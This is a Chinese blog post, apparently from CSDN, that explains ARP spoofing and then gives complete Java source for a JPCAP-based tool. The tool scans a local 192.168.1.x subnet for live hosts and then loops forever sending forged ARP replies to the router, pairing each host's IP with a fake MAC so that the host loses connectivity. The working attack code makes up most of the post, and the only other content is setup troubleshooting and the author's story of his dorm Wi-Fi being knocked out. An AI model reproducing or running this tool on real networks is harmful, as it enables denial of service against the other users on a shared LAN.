转载请注明: http://blog.csdn.net/HEL_WOR/article/details/50650465
前段时间翻看了点计算机网络方面的书,从DNS跳到了ARP协议后,就打算试试写一个ARP的扫描攻击程序出来,于是就有了这篇博客
现在想想大学的时候我们寝室应该受到ARP扫描攻击了,因为我们寝室的一夜之间连上WIFI后都不能上网了,当时不知道对路由器做静态绑定,于是后面的时间我都是蹭的其他寝室的wifi,现在想来当时是因为心没在这行吧。
ARP攻击的原理比较简单,告诉路由器被攻击主机A的MAC地址是一个假的MAC地址,由于数据在物理层是通过MAC地址来描述目标主机的地址的,而非网络层里使用的IP地址来描述主机地址,也就是说我们请求远程服务的地址最终都会被ARP协议解析成MAC地址,路由器在接收到被攻击主机A发出请求的响应数据后,会查找自己的ARP表,根据ARP表中记录的IP-MAC地址对获取主机A的MAC地址,然后将获得的响应数据表转发给被攻击主机A,但不幸的是,如果路由器查找自己的ARP表得到的是被攻击后记录下的假的MAC地址,那么主机A就不能得到自己想要的数据,对于在操作主机A的用户来说看到的现象就是主机A的页面打开很慢或者无法打开,视频加载缓慢或无法加载,直至最后主机A断网。攻击的核心就是篡改其他网络设备能看到的被攻击主机的MAC地址。
用JAVA实现ARP扫描和攻击需要用到JPCAP这个第三方JAR包,在使用这个JAR的时候回遇到一系列问题。
1.no dependence libray
请安装Winpcap。2.java.lang.UnsatisfiedLinkError:no jpcap in java.library.path
把DLL扔到JDK下或者在工程里对JRE System Library设置Native Library Location到本地文件夹下,这点确实和VS开发里不同,VS里只需要添加引用即可完成DLL引用,Eclipse里需要制定library路径。3.java.lang.UnsatisfiedLinkError:jpcap.JpcapCaptor.getDeviceList()[Ljpcap/NetworkInterface;
这个错误在网上得到的提示信息是jpcap.jar和jpcap.dll的版本对应不上,测试后发现确实是这个原因,这里提供一个完整的jacap安装文件。
程序运行效果截图:
ArpImplenment类:
package ArpAttack;
import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class ArpImplenment {
/* * 保存IP-Mac对 */
private static HashMap<String, String> map = new HashMap<String, String>();
/* * 构造MAC地址byte数组 */
public static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
/* * 发送ARP函数 */
public static void SendArp(HashMap<String, String> map) throws Exception {
/* * 枚举网卡并打开设备 * 检查本机当前使用的哪个网卡 是走的本地连接还是无线网络连接 * 设置错误会导致ARP请求不会发出去 但检测不到异常 */
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[2];
JpcapSender sender = JpcapSender.openDevice(device);
while(true){
for(Map.Entry<String, String> entry : map.entrySet())
{
String ip = entry.getKey();
/* * JAVA字符串的比较 ==比较的是两个字符串的引用 涉及到class文件的二进制名称和类加载器 * equal的比较才是比较内容 */
if(ip.equals("192.168.1.1"))
{
continue;
}
//// 篡改被攻击主机MAC地址 伪造的MAC地址必须是路由ARP记录里有的MAC地址,否则不会对主机产生影响
InetAddress srcip = InetAddress.getByName(ip);
byte[] srcmac = stomac("C8-E7-D8-CC-2B-CC");
//// 让路由器被欺骗
InetAddress desip = InetAddress.getByName("192.168.1.1");
byte[] desmac = stomac("8C-F2-28-38-07-7A");
// 设置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
//// ARPPacket.ARP_REPLY用于接受MAC地址
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = srcip.getAddress();
arp.target_hardaddr = desmac;
arp.target_protoaddr = desip.getAddress();
//// 设置DLC帧
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac;
ether.dst_mac = desmac;
arp.datalink = ether;
System.out.println("Send Arp To IPAddr: " + ip);
sender.sendPacket(arp);
}
}
}
/* * 构造ARP请求 */
private ARPPacket constractRequestArp(NetworkInterface device, String IP) throws UnknownHostException {
//// 索引0对应IPV6地址 索引1对应IPV4地址
byte[] broadcast = stomac("ff-ff-ff-ff-ff-ff");
InetAddress srcip = device.addresses[1].address;
//// 设置需要向其发送ARP请求的主机IP
InetAddress desip = InetAddress.getByName(IP);
ARPPacket arpPacket = new ARPPacket();
arpPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
arpPacket.prototype=ARPPacket.PROTOTYPE_IP;
//// ARP_REQUEST用于请求目标主机的MAC地址
arpPacket.operation=ARPPacket.ARP_REQUEST;
arpPacket.hlen=6;
arpPacket.plen=4;
arpPacket.sender_hardaddr=device.mac_address;
arpPacket.sender_protoaddr=srcip.getAddress();
arpPacket.target_hardaddr=broadcast;
arpPacket.target_protoaddr=desip.getAddress();
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
arpPacket.datalink=ether;
return arpPacket;
}
/* * 扫描所有存活主机的IP-Mac地址对 */
public HashMap<String, String> GetAllMacAddress() throws Exception
{
/* * 枚举网卡并打开设备 * 检查本机当前使用的哪个网卡 设置错误会导致ARP请求不会发出去 但检测不到异常 */
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[2];
//// 开启网络接口
JpcapCaptor captor=JpcapCaptor.openDevice(device,2000,false,3000);
captor.setFilter("arp",true);
JpcapSender sender=captor.getJpcapSenderInstance();
ArrayList<String> list = new ArrayList<>();
for(int i = 1; i < 256; i++)
{
list.add("192.168.1." + i);
}
Iterator<String> iterator = list.iterator();
System.out.println("开始扫描当前局域网所有存活主机,整个过程预计需要2分钟");
while(true){
if(iterator.hasNext())
{
ARPPacket arpPacket = constractRequestArp(device, iterator.next());
sender.sendPacket(arpPacket);
}
else
{
System.out.println("");
System.out.println("ARP扫描完成,5秒后开始ARP攻击");
Thread.sleep(5000);
return map;
}
//// 监听所有捕获到的数据包
ARPPacket p=(ARPPacket)captor.getPacket();
if(p == null)
{
System.out.println("未获取到返回ARP信息");
}
else
{
/* * 按照ARP协议的定义,请求目标主机的MAC地址,需要向本局域网内的所有主机广播ARP请求 * 挡目标主机监听到此请求 * 其会向请求发送方定向的回应自己的MAC地址 * 所以我只需要获取响应信息 */
if(p.operation != ARPPacket.ARP_REPLY)
{
continue;
}
//// 判断响应信息是否是发给我的
boolean isTargetIP = false;
if(p.target_protoaddr[0] == device.addresses[1].address.getAddress()[0]
&&p.target_protoaddr[1] == device.addresses[1].address.getAddress()[1]
&&p.target_protoaddr[2] == device.addresses[1].address.getAddress()[2]
&&p.target_protoaddr[3] == device.addresses[1].address.getAddress()[3])
{
isTargetIP = true;
}
if(!isTargetIP)
{
System.out.println("非响应本机ARP");
continue;
}
//// 将byte[]数组解析为标志IP地址
StringBuilder str = new StringBuilder();
for(byte part : p.sender_protoaddr)
{
String hex = (part&0xff) < 0 ? String.valueOf(part&0xff + 256) : String.valueOf(part&0xff);
str.append(hex);
str.append('.');
}
String ip = str.toString().substring(0, str.length() - 1);
/* * 判断目标主机是否存活 * 有两种情况会返回MAC地址为00-00-00-00-00-00 * 1.目标IP上不存在存活主机 * 2.目标主机已做静态绑定 对于静态绑定的主机是无法向路由器篡改其MAC地址的 */
boolean isAlive = false;
byte[] deadMac = stomac("00-00-00-00-00-00");
if(!(p.target_hardaddr[0] == deadMac[0]
&&p.target_hardaddr[1] == deadMac[1]
&&p.target_hardaddr[2] == deadMac[2]
&&p.target_hardaddr[3] == deadMac[3]
&&p.target_hardaddr[4] == deadMac[4]
&&p.target_hardaddr[5] == deadMac[5]))
{
isAlive = true;
}
System.out.println("响应主机IP: " + ip);
if(!isAlive)
{
System.out.println("目标主机未存活");
continue;
}
//// 保存可用的目标主机IP-MAC对
if(!map.containsKey(ip))
{
str = new StringBuilder();
//// 解析ARP响应方MAC地址
for(byte part : p.sender_hardaddr)
{
String hex = Integer.toHexString(part&0xff).toUpperCase();
str.append(hex.length() == 1 ? "0" + hex : hex);
str.append('-');
}
String mac = str.toString().substring(0, 17);
System.out.println("当前扫描存活主机MAC地址:" + mac);
Thread.sleep(3000);
map.put(ip, mac);
}
else
{
System.out.println("当前扫描IP记录已存在,进入下一轮");
continue;
}
for(Map.Entry<String, String> entry : map.entrySet())
{
System.out.println("IP-> " + entry.getKey() + "," + " " + "MAC-> " + entry.getValue());
}
System.out.println("本轮结束,当前map保存对象个数:" + map.size());
System.out.println("");
Thread.sleep(4000);
}
}
}
}
调用代码:
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
HashMap<String, String> map = new HashMap<String, String>();
map = new ArpImplenment().GetAllMacAddress();
ArpImplenment.SendArp(map);
}